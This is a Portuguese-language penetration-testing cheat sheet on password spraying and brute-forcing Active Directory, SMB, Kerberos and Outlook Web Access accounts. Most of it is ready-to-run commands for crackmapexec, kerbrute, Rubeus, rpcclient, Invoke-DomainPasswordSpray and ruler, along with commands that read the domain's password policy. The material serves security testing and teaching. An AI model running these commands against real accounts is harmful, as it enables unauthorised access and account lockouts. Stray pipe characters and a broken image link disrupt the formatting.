## **Password Spraying**
|
|
|
|
Uma vez que você tenha encontrado vários **nomes de usuário válidos**, pode tentar as **senhas mais comuns** (lembre-se da política de senhas do ambiente) com cada um dos usuários descobertos.\
|
|
Por **padrão**, o **comprimento mínimo** da **senha** é **7**.
|
|
|
|
Listas de nomes de usuário comuns também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
|
|
|
Observe que você **pode bloquear algumas contas se tentar várias senhas erradas** (por padrão, mais de 10).
|
|
|
|
### Obter política de senhas
|
|
|
|
Se você tiver algumas credenciais de usuário ou um shell como um usuário de domínio, pode **obter a política de senhas com**:
|
|
```bash
|
|
# From Linux
|
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
|
|
|
enum4linux -u 'username' -p 'password' -P <IP>
|
|
|
|
rpcclient -U "" -N 10.10.10.10;
|
|
rpcclient $>querydominfo
|
|
|
|
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
|
|
|
|
# From Windows
|
|
net accounts
|
|
|
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
|
```
|
|
### Exploração a partir do Linux (ou todos)
|
|
|
|
* Usando **crackmapexec:**
|
|
```bash
|
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
|
# Local Auth Spray (once you found some local admin pass or hash)
|
|
## --local-auth flag indicate to only try 1 time per machine
|
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
|
```
|
|
* Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
|
```bash
|
|
# Password Spraying
|
|
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
|
# Brute-Force
|
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
|
```
|
|
* [**spray**](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar bloqueios):**_
|
|
```bash
|
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
|
```
|
|
* Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO, ÀS VEZES NÃO FUNCIONA
|
|
```bash
|
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
|
```
|
|
* Com o módulo `scanner/smb/smb_login` do **Metasploit**:
|
|
|
|
.png>)
|
|
|
|
* Usando **rpcclient**:
|
|
```bash
|
|
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
|
for u in $(cat users.txt); do
|
|
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
|
done
|
|
```
|
|
#### Do Windows
|
|
|
|
* Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o módulo de brute:
|
|
```bash
|
|
# with a list of users
|
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
|
|
|
# check passwords for all users in current domain
|
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
|
```
|
|
* Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com isso):
|
|
```powershell
|
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
|
```
|
|
* Com [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
|
```
|
|
Invoke-SprayEmptyPassword
|
|
```
|
|
## Força Bruta
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
|
```
|
|
{% endcode %}
|
|
|
|
## Outlook Web Access
|
|
|
|
Existem várias ferramentas para p**assword spraying outlook**.
|
|
|
|
* Com [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
|
|
* com [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
|
|
* Com [Ruler](https://github.com/sensepost/ruler) (confiável!)
|
|
* Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
|
* Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
|
|
|
Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para spray.
|
|
```bash
|
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
